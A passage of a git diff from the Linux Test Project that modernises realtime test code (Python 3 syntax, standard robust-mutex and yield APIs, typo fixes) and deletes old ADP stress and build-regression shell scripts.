 	sys.exit("Result: %s " % (["FAIL", "PASS"][log.eval()]))
 
 if __name__ == "__main__":
-    main()
+	main()
diff --git a/testcases/realtime/func/pi-tests/sbrk_mutex.c b/testcases/realtime/func/pi-tests/sbrk_mutex.c
index 5c325b4..c0431d7 100644
--- a/testcases/realtime/func/pi-tests/sbrk_mutex.c
+++ b/testcases/realtime/func/pi-tests/sbrk_mutex.c
@@ -109,11 +109,11 @@
 	if (pthread_mutexattr_init(&mutexattr) != 0) {
 		printf("Failed to init mutexattr\n");
 	}
-	if (pthread_mutexattr_setrobust_np(&mutexattr, PTHREAD_MUTEX_ROBUST_NP)
+	if (pthread_mutexattr_setrobust(&mutexattr, PTHREAD_MUTEX_ROBUST)
 	    != 0) {
 		printf("Can't set mutexattr robust\n");
 	}
-	if (pthread_mutexattr_getrobust_np(&mutexattr, &robust) != 0) {
+	if (pthread_mutexattr_getrobust(&mutexattr, &robust) != 0) {
 		printf("Can't get mutexattr robust\n");
 	} else {
 		printf("robust in mutexattr is %d\n", robust);
diff --git a/testcases/realtime/func/pi-tests/test-skeleton.c b/testcases/realtime/func/pi-tests/test-skeleton.c
index 326a8ab..7816cf8 100644
--- a/testcases/realtime/func/pi-tests/test-skeleton.c
+++ b/testcases/realtime/func/pi-tests/test-skeleton.c
@@ -109,8 +109,12 @@
 
 	signal(SIGALRM, timeout_handler);
 	alarm(TIMEOUT);
-	termpid = TEMP_FAILURE_RETRY(waitpid(pid, &status, 0));
-	if (-1 == termpid) {
+
+	do {
+		termpid = waitpid(pid, &status, 0);
+	} while (termpid == -1 && errno == EINTR);
+
+	if (termpid == -1) {
 		printf("\n Waiting for test program failed, Exiting \n");
 		exit(1);
 	}
diff --git a/testcases/realtime/func/pi-tests/testpi-6.c b/testcases/realtime/func/pi-tests/testpi-6.c
index f715eee..96321f6 100644
--- a/testcases/realtime/func/pi-tests/testpi-6.c
+++ b/testcases/realtime/func/pi-tests/testpi-6.c
@@ -74,11 +74,11 @@
 	if (pthread_mutexattr_init(&mutexattr) != 0)
 		printf("Failed to init mutexattr\n");
 
-	if (pthread_mutexattr_setrobust_np(&mutexattr,
-					   PTHREAD_MUTEX_ROBUST_NP) != 0)
+	if (pthread_mutexattr_setrobust(&mutexattr,
+					   PTHREAD_MUTEX_ROBUST) != 0)
 		printf("Can't set robust mutex\n");
 
-	if (pthread_mutexattr_getrobust_np(&mutexattr, &robust) != 0)
+	if (pthread_mutexattr_getrobust(&mutexattr, &robust) != 0)
 		printf("Can't get mutexattr protocol\n");
 	else
 		printf("robust in mutexattr is %d\n", robust);
diff --git a/testcases/realtime/func/pthread_kill_latency/pthread_kill_latency.c b/testcases/realtime/func/pthread_kill_latency/pthread_kill_latency.c
index 08b6488..dc3dd3e 100644
--- a/testcases/realtime/func/pthread_kill_latency/pthread_kill_latency.c
+++ b/testcases/realtime/func/pthread_kill_latency/pthread_kill_latency.c
@@ -25,7 +25,7 @@
  *      signal (thread1) and the other that sends the signal (thread2). Before
  *      sending the signal, the thread2 waits for thread1 to initialize, notes
  *      the time and sends pthread_kill signal to thread1. thread2, which has
- *      defined a handler for the signal, notes the time it recieves the signal.
+ *      defined a handler for the signal, notes the time it receives the signal.
  *      The maximum and the minimum latency is reported.
  *
  *
diff --git a/testcases/realtime/m4/check.m4 b/testcases/realtime/m4/check.m4
index 2517e39..5aa53bd 100644
--- a/testcases/realtime/m4/check.m4
+++ b/testcases/realtime/m4/check.m4
@@ -1,9 +1,6 @@
 AC_DEFUN([REALTIME_CHECK_PRIO_INHERIT],[
 AC_MSG_CHECKING([for PTHREAD_PRIO_INHERIT])
 AC_TRY_COMPILE([
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
 #include <pthread.h>],[int main(void) {
 	pthread_mutexattr_t attr;
 	return pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT);
@@ -17,35 +14,9 @@
 ])
 
 AC_DEFUN([REALTIME_CHECK_ROBUST_APIS],[
-AC_MSG_CHECKING([for pthread_mutexattr_*robust* APIs])
-AC_TRY_COMPILE([
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <pthread.h>],[int main(void) {
-	pthread_mutexattr_t attr;
-	return pthread_mutexattr_setrobust_np(&attr, 0);
-}],[has_robust="yes"])
-if test "x$has_robust" = "xyes" ; then
-	AC_DEFINE(HAS_PTHREAD_MUTEXTATTR_ROBUST_APIS,1,[Define to 1 if you have pthread_mutexattr_*robust* APIs])
-	AC_MSG_RESULT(yes)
-else
-	AC_MSG_RESULT(no)
-fi
-])
-
-AC_DEFUN([REALTIME_CHECK_ROBUST_APIS],[
-AC_MSG_CHECKING([for pthread_mutexattr_*robust* APIs])
-AC_TRY_COMPILE([
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <pthread.h>],[int main(void) {
-	pthread_mutexattr_t attr;
-	return pthread_mutexattr_setrobust_np(&attr, 0);
-}],[has_robust="yes"])
-if test "x$has_robust" = "xyes" ; then
-	AC_DEFINE(HAS_PTHREAD_MUTEXTATTR_ROBUST_APIS,1,[Define to 1 if you have pthread_mutexattr_*robust* APIs])
+	AC_CHECK_DECLS([pthread_mutexattr_getrobust, pthread_mutexattr_setrobust],[],[has_robust="no"],[[#include <pthread.h>]])
+	AC_MSG_CHECKING([for pthread_mutexattr_*robust* APIs])
+if test "x$has_robust" != "xno"; then
 	AC_MSG_RESULT(yes)
 else
 	AC_MSG_RESULT(no)
diff --git a/testcases/realtime/profiles/default b/testcases/realtime/profiles/default
index 7613500..b0bb6b8 100644
--- a/testcases/realtime/profiles/default
+++ b/testcases/realtime/profiles/default
@@ -29,7 +29,7 @@
 # Default=20 us
 func/pthread_kill_latency	pthread_kill_latency -c 20
 
-# Pass if all treads get preempted within max loops.
+# Pass if all threads get preempted within max loops.
 # Default max=1
 func/prio-preempt		prio-preempt -c 1
 
diff --git a/testcases/realtime/run.sh b/testcases/realtime/run.sh
index 174b36d..650af78 100755
--- a/testcases/realtime/run.sh
+++ b/testcases/realtime/run.sh
@@ -232,6 +232,9 @@
 		;;
 	esac
 done
+
+tests[$index]=1
+
 i=0
 while [ $i -lt $index ]; do
 	find_test "$profile" ${tests[$i]} ${tests[$((i+1))]}
diff --git a/testcases/realtime/scripts/parser.py b/testcases/realtime/scripts/parser.py
index 6b2dc73..85226de 100644
--- a/testcases/realtime/scripts/parser.py
+++ b/testcases/realtime/scripts/parser.py
@@ -1,3 +1,4 @@
+#!/usr/bin/env python3
 # -*- coding: utf-8 -*-
 
 ################################################################################
@@ -29,18 +30,18 @@
 import sys
 
 class Log:
-    def __init__(self,filename):
-	if filename:
-	    log_file=filename
+	def __init__(self,filename):
+		if filename:
+			log_file=filename
 	try:
-	    self.__log_file = open(log_file, "r")
-	except IOError, errmsg:
-	    sys.exit(errmsg)
+		self.__log_file = open(log_file, "r")
+	except IOError as errmsg:
+		sys.exit(errmsg)
 
-    def read(self):
-	for line in self.__log_file.read().split("\n"):
-	    yield line
+	def read(self):
+		for line in self.__log_file.read().split("\n"):
+			yield line
 	self.__log_file.close()
 
-    def eval(self):
-	pass
+	def eval(self):
+		pass
diff --git a/testcases/realtime/stress/pi-tests/testpi-3.c b/testcases/realtime/stress/pi-tests/testpi-3.c
index e483945..1c3d444 100644
--- a/testcases/realtime/stress/pi-tests/testpi-3.c
+++ b/testcases/realtime/stress/pi-tests/testpi-3.c
@@ -139,7 +139,7 @@
 			}
 		}
 		pthread_mutex_unlock(&glob_mutex);
-		pthread_yield();
+		sched_yield();
 	}
 	return NULL;
 }
@@ -241,7 +241,7 @@
 				pthread_mutex_unlock(&(pthr->mutex));
 			}
 		}
-		pthread_yield();
+		sched_yield();
 	}
 	return NULL;
 }
diff --git a/testcases/realtime/tools/ftqviz.py b/testcases/realtime/tools/ftqviz.py
index 19ae093..5ac094c 100644
--- a/testcases/realtime/tools/ftqviz.py
+++ b/testcases/realtime/tools/ftqviz.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 
 #      Filename: ftqviz.py
 #        Author: Darren Hart <dvhltc@us.ibm.com>
@@ -37,7 +37,7 @@
 
 def smooth(x, wlen):
     if x.size < wlen:
-        raise ValueError, "Input vector needs to be bigger than window size."
+        raise ValueError("Input vector needs to be bigger than window size.")
 
     # reflect the signal to avoid transients... ?
     s = r_[2*x[0]-x[wlen:1:-1], x, 2*x[-1]-x[-1:-wlen:-1]]
@@ -62,8 +62,8 @@
     # same factor
     ns_per_sample = NS_PER_S / sample_hz
 
-    print "Interpolated Sample Rate: ", sample_hz, " HZ"
-    print "Hamming Window Length: ", wlen
+    print("Interpolated Sample Rate: ", sample_hz, " HZ")
+    print("Hamming Window Length: ", wlen)
 
     t = fromfile(timefile, dtype=int64, sep='\n')
     x = fromfile(countfile, dtype=int64, sep='\n')
@@ -83,7 +83,7 @@
     # smooth the signal (low pass filter)
     try:
         y = smooth(xi, wlen)
-    except ValueError, e:
+    except ValueError as e:
         exit(e)
 
     # generate the fft
@@ -121,7 +121,7 @@
 
 
 def usage():
-        print "usage: "+argv[0]+" -t times-file -c counts-file [-s SAMPLING_HZ] [-w WINDOW_LEN] [-h]"
+        print("usage: "+argv[0]+" -t times-file -c counts-file [-s SAMPLING_HZ] [-w WINDOW_LEN] [-h]")
 
 
 if __name__=='__main__':
@@ -143,7 +143,7 @@
             usage()
             exit()
         if o == "-s":
-            sample_hz = long(a)
+            sample_hz = int(a)
         if o == "-t":
             times_file = a
         if o == "-w":
diff --git a/testscripts/adp.sh b/testscripts/adp.sh
deleted file mode 100755
index d22bf8f..0000000
--- a/testscripts/adp.sh
+++ /dev/null
@@ -1,89 +0,0 @@
-#!/bin/bash
-#
-# adp.sh -- run ADP's stress test on /proc/[0-9]*/cmdline
-#
-#
-
-usage()
-{
-  cat << EOF
-  usage: $0 options
-
-  This script runs ADP's stress test on /proc/[0-0]*/cmdline.
-
-  OPTIONS
-    -h    display this message and exit
-    -d    delay for top, in seconds
-    -n    number of iterations for top
-EOF
-}
-
-
-checkvar()
-{
-  VAR=$1
-  eval VALUE='$'$VAR
-  if [ "x$VALUE" = "x" ]; then
-      echo "`basename $0`: $VAR is not set."
-      return 1
-	else
-      return 0
-  fi
-}
-
-
-while getopts hd:n: OPTION
-do
-  case $OPTION in
-    h)
-      usage
-      exit 1
-      ;;
-    d)
-      delay=$OPTARG
-      ;;
-    n)
-      iterations=$OPTARG
-      ;;
-    ?)
-      usage
-      exit 1
-      ;;
-  esac
-done
-
-
-#check all vars
-checkvar delay && checkvar iterations || {
-  usage
-  exit 2
-}
-
-echo "-------------------------------------------------------------------------"
-date
-echo "Starting tests..."
-
-for i in 1 2 3 4 5
-do
-	./adp_children.sh &
-done
-
-echo "Stressing /proc/[0-9]*/cmdline..."
-
-for i in 1 2 3 4 5
-do
-	./adp_test.sh &
-done
-
-echo "Starting 'top', redirecting output to 'adp.log'..."
-top -b -d $delay -n $iterations > adp.log &
-
-echo "LTP ADP Test done. Killing processes..."
-killall adp_test.sh
-killall adp_children.sh
-
-echo "Done. Please check adp.log."
-date
-
-echo "-------------------------------------------------------------------------"
-
diff --git a/testscripts/adp_children.sh b/testscripts/adp_children.sh
deleted file mode 100755
index 4c1c94e3..0000000
--- a/testscripts/adp_children.sh
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/bin/bash
-
-while :
-do
-	for i in 1 2 3 4 5 6 7 8 9 0
-	do
-		sleep 1 &
-	done
-
-	wait
-done
diff --git a/testscripts/adp_test.sh b/testscripts/adp_test.sh
deleted file mode 100755
index df0d48a..0000000
--- a/testscripts/adp_test.sh
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-
-while :
-do
-	cat /proc/[0-9]*/cmdline > /dev/null 2>/dev/null
-done
diff --git a/testscripts/build/README b/testscripts/build/README
deleted file mode 100755
index e3c3190..0000000
--- a/testscripts/build/README
+++ /dev/null
@@ -1,71 +0,0 @@
-This scripts contains any and all scripts which will help in testing the make
-infrastructure.
-
-A brief description is as follows:
-
-Foundation Build Regression Test Scripts:
-
-- build_test_functions.sh	    -	Generic library functions for all
-					pull / build / test scenarios.
-
-There are a total of 3 different positive pull / build / test scenarios that
-have been identified which should be tested on a regular basis, both prior to
-and after commit:
-
-- test_install_in_build_tree.sh     -	Build in srcdir, install in srcdir.
-- test_install_out_of_build_tree.sh -	Build in srcdir, install in
-					rootfs / outside of builddir // srcdir.
-- test_out_of_build_tree.sh         -	Build outside of srcdir, install in
-					rootfs / outside of builddir // srcdir.
-
-The scenarios are defined in include/mk/env_pre.mk (look for BUILD_TREE_STATE).
-
-These scenarios all fulfill the following requirements:
-1. Pull LTP from a predefined SCM (cvs is the only method supported today, but
-   other SCMs could be added when and if support is properly enabled by the
-   project admins).
-2. Apply a custom -p0'able patch if defined with LTP_PATCH (THIS MUST BE THE
-   ABSOLUTE PATH TO THE PATCH!!!).
-3. Configure (make autotools -> configure).
-4. Compile (make all).
-5. Install (make install).
-6. Test (execltp -v).
-
-If you want to add another scenario, please email the list requesting the
-enhancement and we'll see what we can do to accomodate it if the scenario
-functionally makes sense.
-
-You can use a variety of variables to control how things operate, such as:
-
-- CLEAN_TEMPFILES	- !1 - don't clean up the temporary generated files
-			  after the scenario is complete.
-			- 1 - clean up the temporary generated files after the
-			  scenario is complete.
-- MAKEFLAGS		- flags which will be passed directly into make
-			  (please ensure that any and all options passed are
-			  properly escaped beforehand if quoted).
-- TMPDIR		- base temporary directory for all generated and
-			  pulled files.
-
-About the warning...
-
-If you see:
-
-	WARNING: Read the [.../]README before executing this script [...]!
-
-this is by design. I inserted this in the script to intentionally underscore
-the fact that folks need to be very careful when executing this script and
-exercise the following common sense:
-
-1. Use a chroot, or lower-privileged user (preferrably a test user). If there's
-   a bug in the make infrastructure, you could end up eating crow after your
-   build host gets hosed!
-2. Properly chmod your files / directories! You shouldn't have 00777 set on
-   anything that you don't mind parting with, or you are begging for trouble!
-
-   set I_HAVE_READ_THE_README_WARNING to 1 in your environment in order to
-   proceed.
-
-Utilities:
-- ltp-missing-install-files.py - A script which does a real basic first cut at
-				 trying to find missing commands or test files.
diff --git a/testscripts/build/build_test_function.sh b/testscripts/build/build_test_function.sh
deleted file mode 100755
index 9ba5582..0000000
--- a/testscripts/build/build_test_function.sh
+++ /dev/null
@@ -1,243 +0,0 @@
-#!/bin/sh
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-#
-
-# Temporary directory setup.
-#
-# $TMPDIR - base temporary directory; see mktemp(1) for more details.
-setup_env() {
-	testscript_dir=$(readlink -f "${0%/*}")
-	abspath=$(readlink -f "$testscript_dir/../../scripts/abspath.sh")
-	unset vars
-	for i in tmp_builddir tmp_destdir tmp_prefix tmp_srcdir; do
-		eval "if $i=\$(mktemp -d) ; then vars=\"\$vars \$${i}\"; else echo ${0##*/}: failed to create temporary directory for $i; false; fi"
-	done
-	trap cleanup EXIT
-	cat <<EOF
-========================================
-SUMMARY FOR: $1 Scenario
-========================================
-builddir 	-> $tmp_builddir
-destdir		-> $tmp_destdir
-prefix		-> $tmp_prefix
-srcdir		-> $tmp_srcdir
-========================================
-EOF
-
-}
-
-# Clean up the generated directories.
-#
-# $CLEAN_TEMPFILES - !1 -> don't clean.
-#                  - 1 -> clean.
-cleanup() {
-	if [ "x${CLEAN_TEMPFILES:-0}" = x1 -a "x${TEST_PASSED:-0}" = x1 ] ; then
-		cd /
-		trap '' EXIT
-		rm -Rf $vars
-	fi
-}
-
-# Pull from CVS.
-cvs_pull() {
-
-	export CVSROOT=${CVSROOT:-:pserver:anonymous@ltp.cvs.sf.net:/cvsroot/ltp}
-
-	if ( [ -f ~/.cvspass ] || touch ~/.cvspass ) ; then
-		echo "$CVSROOT" | grep -qv '^:pserver:' || cvs -d$CVSROOT login
-		cvs -z3 export -f -r HEAD ltp && srcdir="$PWD/ltp"
-	fi
-
-}
-
-# Pull from git.
-git_pull() {
-	GIT_REPO=${GIT_REPO:-ltp-dev}
-	git archive master \
-	    --remote=git://ltp.git.sourceforge.net/gitroot/ltp/$GIT_REPO . | tar -xf -
-	srcdir="$PWD"
-}
-
-#
-# Pull a fresh copy of the repository for building.
-#
-# 1 - pull method (currently only cvs is supported, but git may be supported
-#     in the future).
-# 2 - source directory.
-#
-# $LTP_PATCH - -p0 based patch to apply after the pull is complete for
-# precommit testing. THE PATH TO THE PATCH MUST BE ABSOLUTE!
-#
-pull_scm() {
-	cd "$2" && eval "${1}_pull"
-	if [ "x$LTP_PATCH" != x ] ; then
-		patch -p0 < "$LTP_PATCH"
-	fi
-	safe_rm="$srcdir/scripts/safe_rm.sh"
-}
-
-# Verify that clean is sane so peoples' rootfs' / host systems don't get
-# cleaned out by accident [sorry Mitani-san :(...].
-#
-# 1 - source directory
-# 2 - build directory (where to deposit the files produced by configure).
-# 3 - the DESTDIR.
-clean_is_sane() {
-	set +e; for i in distclean ac-maintainer-clean; do
-		output=$(make ${2:+-C "$2"} \
-		     ${1:+-f "$1/Makefile" "top_srcdir=$1"} \
-		     ${2:+"top_builddir=$2"} \
-		     ${MAKEFLAGS} \
-		     DESTDIR="$4" \
-		     RM="$safe_rm" $i)
-		if echo "$output" | egrep 'ERROR : not removing .+ to avoid removing root directory'; then
-			return $?
-		fi
-	done
-}
-
-# Configure a source tree for building.
-#
-# 1 - source directory
-# 2 - build directory (where to deposit the files produced by configure).
-# 3 - the argument to pass to --prefix.
-configure() {
-
-	if [ "x$2" != x ] ; then
-		test -d "$2" || mkdir -p "$2"
-	fi
-
-	make ${1:+-C "$1"} \
-	     ${MAKEFLAGS} \
-	     autotools
-
-	if [ -d "${2:-}" ] ; then
-		cd "$2"
-	fi
-
-	"${1:-.}/configure" ${3:+--prefix=$("$abspath" "$3")}
-
-}
-
-# Build a source tree.
-#
-# 1 - source directory
-# 2 - build directory
-#
-# $MAKEFLAGS - flags to pass directly to gmake(1).
-#
-build() {
-	make ${2:+-C "$2"} \
-	     ${1:+-f "$1/Makefile" "top_srcdir=$1"} \
-	     ${2:+"top_builddir=$2"} \
-	     ${MAKEFLAGS} \
-	     all
-}
-
-# Install the binaries and scripts from a build tree.
-#
-# 1 - source directory
-# 2 - build directory
-# 3 - DESTDIR
-#
-# $MAKEFLAGS - flags to pass directly to gmake(1).
-#
-install_ltp() {
-	make ${2:+-C "$2"} \
-	     ${1:+-f "$1/Makefile" "top_srcdir=$1"} \
-	     ${2:+"top_builddir=$2"} \
-	     ${3:+"DESTDIR=$3"} \
-	     ${MAKEFLAGS} \
-	     install
-}
-
-# Run a test on the installed tree.
-#
-# 1 - install directory for tree, e.g. $(DESTDIR)/$(prefix)
-test_ltp() {
-
-	installdir=$(readlink -f "${1:-.}")
-	test_ltp="$installdir/test_ltp.sh"
-
-	# XXX (garrcoop): I haven't tracked down the root cause for the
-	# issue, but some versions of sed combined with some terminal
-	# configurations cause sed to block waiting for EOF on certain
-	# platforms when executing runltp. Thus, we should effectively close
-	# /dev/stdin before executing runltp via execltp.
-	cat <<EOF > "$test_ltp"
-#!/bin/sh
-
-export AR="$AR"
-export ARFLAGS="$ARFLAGS"
-export CC="$CC"
-export CFLAGS="$CFLAGS"
-export CXX="$CXX"
-export CXXFLAGS="$CXXFLAGS"
-export LD="$LD"
-export LDFLAGS="$LDFLAGS"
-export NM="$NM"
-
-# Optional variables required for some of the testcases.
-for i in AR ARFLAGS CC CFLAGS CXX CXXFLAGS LD LDFLAGS NM; do
-	eval "[ \"x\\\$\$i\" = x ] && unset \$i"
-done
-
-export LTPROOT="$LTPROOT"
-export PATH="\$PATH:$installdir/bin:$PATH"
-
-execltp -l "$installdir" -vv < /dev/null
-EOF
-
-	pre_cmd=
-
-	if [ "x$(id -ru)" != "x0" ] ; then
-
-		# Make sure that environment is translated properly with sudo.
-		if type sudo > /dev/null && sudo -- sh -c 'exit 0' ; then
-			pre_cmd='sudo --'
-		elif type su > /dev/null && groups | grep wheel ; then
-			pre_cmd='su -c'
-		fi
-
-		if [ "x$pre_cmd" != x ] ; then
-			echo "chown -Rf $(id -ru) \"$installdir\"" >> "$test_ltp"
-		fi
-
-	fi
-
-	echo "${0##*/}: will execute test_ltp via ${pre_cmd:+$pre_cmd }$test_ltp"
-	chmod +x "$test_ltp"
-	# XXX (garrcoop): uncommenting the following would work around a
-	# craptacular `bug' with libpam where it outputs the Password: prompt
-	# to /dev/stdout instead of /dev/tty, but it also dumps all output from
-	# runltp, etc to the console instead of a log -- therefore if you do
-	# cat all output to a log, just tail -f it and enter in your password
-	# when necessary.
-	#${pre_cmd} "${test_ltp}" > /dev/tty 2>&1 && TEST_PASSED=1
-	${pre_cmd} "${test_ltp}" && TEST_PASSED=1
-
-}
-
-if [ "x$I_HAVE_READ_THE_README_WARNING" != x1 ] ; then
-	echo 'WARNING: Read '${0%/*}'/README before executing this script ('${0##*/}')!' >&2
-	false
-fi
-
-set -x
diff --git a/testscripts/build/default_runtest_set.awk b/testscripts/build/default_runtest_set.awk
deleted file mode 100755
index dcd4a47..0000000
--- a/testscripts/build/default_runtest_set.awk
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/usr/bin/awk -f
-#
-#    Script for determining default runtest set from runltp / runltplite.sh.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-# Invoke this awk script like:
-#
-# $0 /path/to/ltp/runltp
-#
-# e.g.
-#
-# $0 /opt/ltp/runltp
-#
-# NOTE: $0 corresponds to the script name.
-#
-
-BEGIN { RS="\n"; FS=" "; }
-# We only care about lines with \/runtest\/ strings in them -- skip the rest.
-/\/runtest\// {
-    split ($0,strs," ")
-    for (str in strs) {
-        if ($str ~ /\${LTPROOT}\/runtest\/([^[:space:]]+)/) {
-            sub (/\${LTPROOT}\/runtest\//, "", $str)
-            print $str
-        }
-    }
-}
diff --git a/testscripts/build/ltp-missing-install-files.py b/testscripts/build/ltp-missing-install-files.py
deleted file mode 100755
index 1ab40a0..0000000
--- a/testscripts/build/ltp-missing-install-files.py
+++ /dev/null
@@ -1,116 +0,0 @@
-#!/usr/bin/env python
-#
-#    Script for determining items missing from LTP install based on the output
-#    log provided by runltp[lite.sh].
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-# Please invoke this script with --help to determine usage.
-#
-
-from optparse import OptionParser
-import os, re, sys
-
-parser = OptionParser(usage='usage: %prog [options] logfile ...')
-
-parser.add_option('-v', '--verbose', action='store_true', default=False,
-                  dest='verbose', help=('print out successful results as '
-                                        'well as failures'))
-
-opts, logfiles = parser.parse_args()
-
-if not len(logfiles):
-    parser.print_help()
-
-for logfile in logfiles:
-    if not os.access(logfile, os.R_OK):
-        sys.exit("%s not readable" % logfile)
-
-todo_res = [
-    re.compile("""initiation_status="pan\(\d+\): execvp of '(?P<app>.+)' \(tag (?P<tag>\w+)\) failed.+errno:2\s+No such file or directory"""),
-    re.compile("(?P<tag>\S+): line \d+: (?P<app>\S+): No such file or directory"),
-    re.compile("(?P<caller>\S+): (?P<app>\s+): No such file or directory"),
-    re.compile("""tag=(?P<tag>\w+) [\w=]+
-cmdline=.+
-contacts=.+
-analysis=.+
-<<<test_output>>>
-(\S+): (?P<app>\w+): command not found
-<<<execution_status>>>
-initiation_status=.+
-.+termination_id=127.+""")
-]
-
-for logfile in logfiles:
-    fd = open(logfile)
-
-    # Case 1:
-
-    # initiation_status="pan(9908): execvp of 'fs_perms_simpletest.sh' (tag fs_perms) failed.  errno:2  No such file or directory"
-
-    # Case 2:
-
-    # /scratch/ltp-install4/testcases/bin/test_controllers.sh: line 109: /scratch/ltp-install4/testcases/bin/run_cpuset_test.sh: No such file or directory
-
-    # Case 3:
-
-    # gcc: /scratch/ltp-install4/testcases/bin/nmfile2.c: No such file or directory
-
-    # Case 4:
-
-    # <<<test_start>>>
-    # tag=iogen01 stime=1248638309
-    # cmdline="export LTPROOT; rwtest -N iogen01 -i 120s -s read,write -Da -Dv -n 2 500b:doio.f1.$$ 1000b:doio.f2.$$"
-    # contacts=""
-    # analysis=exit
-    # <<<test_output>>>
-    # sh: rwtest: command not found
-    # <<<execution_status>>>
-    # initiation_status="ok"
-    # duration=0 termination_type=exited termination_id=127 corefile=no
-
-    missing_ents = []
-
-    try:
-
-        lines = fd.readlines()
-
-        for line in lines:
-
-            for todo_re in todo_res[:-1]:
-
-                m = todo_re.match(line)
-                if m:
-                    missing_ent = " ".join([m.group(1), m.group('app')])
-                    if missing_ent not in missing_ents:
-                        missing_ents.append(missing_ent)
-                    break
-
-        for m in todo_res[2].finditer("".join(lines)):
-            missing_ent = " ".join([m.group('tag'), m.group('app')])
-            if missing_ent not in missing_ents:
-                missing_ents.append(missing_ent)
-
-    finally:
-        fd.close()
-
-    if len(missing_ents):
-        print "\n".join(["%s: %s" % (os.path.basename(logfile), i) for i in ["Tag | App"] + missing_ents])
-    elif opts.verbose:
-        print "%s: CONGRATULATIONS -- no missing files found!" % os.path.basename(logfile)
diff --git a/testscripts/build/test_install_in_build_tree.sh b/testscripts/build/test_install_in_build_tree.sh
deleted file mode 100755
index 5626e0f..0000000
--- a/testscripts/build/test_install_in_build_tree.sh
+++ /dev/null
@@ -1,47 +0,0 @@
-#!/bin/sh
-#
-#    install in build-tree script.
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-
-export PATH="${0%/*}:$PATH"
-
-set -e
-. build_test_function.sh
-
-# 0. Setup the environment.
-setup_env "Install in build tree"
-# 1. Pull the SCM.
-pull_scm git "$tmp_srcdir"
-# 2. Pre-configure clean sanity.
-# i.   Is srcdir still there (should be)?
-clean_is_sane
-[ -d "$srcdir" ]
-# 3. Configure.
-configure "$srcdir" "$srcdir" "$srcdir"
-# 4. -->> Compile in-build-tree. <<--
-build
-# 5. -->> Install in-build-tree. <<--
-install_ltp
-# 6. Test.
-test_ltp
-# 7. Post-test clean sanity.
-# i.   Is srcdir still there (should be)?
-clean_is_sane
-[ -d "$srcdir" ]
diff --git a/testscripts/build/test_install_out_of_build_tree.sh b/testscripts/build/test_install_out_of_build_tree.sh
deleted file mode 100755
index 8962e13..0000000
--- a/testscripts/build/test_install_out_of_build_tree.sh
+++ /dev/null
@@ -1,49 +0,0 @@
-#!/bin/sh
-#
-#    build in srcdir / install outside build-tree script.
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-
-export PATH="${0%/*}:$PATH"
-
-set -e
-. build_test_function.sh
-
-# 0. Setup the environment.
-setup_env "Install out of srcdir"
-# 1. Pull the SCM.
-pull_scm git "$tmp_srcdir"
-# 2. Pre-configure clean sanity.
-# i.   Is srcdir still there (should be)?
-# ii.  Is $DESTDIR/$prefix there (shouldn't be)?
-clean_is_sane "$srcdir" "$srcdir" "$("$abspath" "$tmp_destdir/$tmp_prefix")"
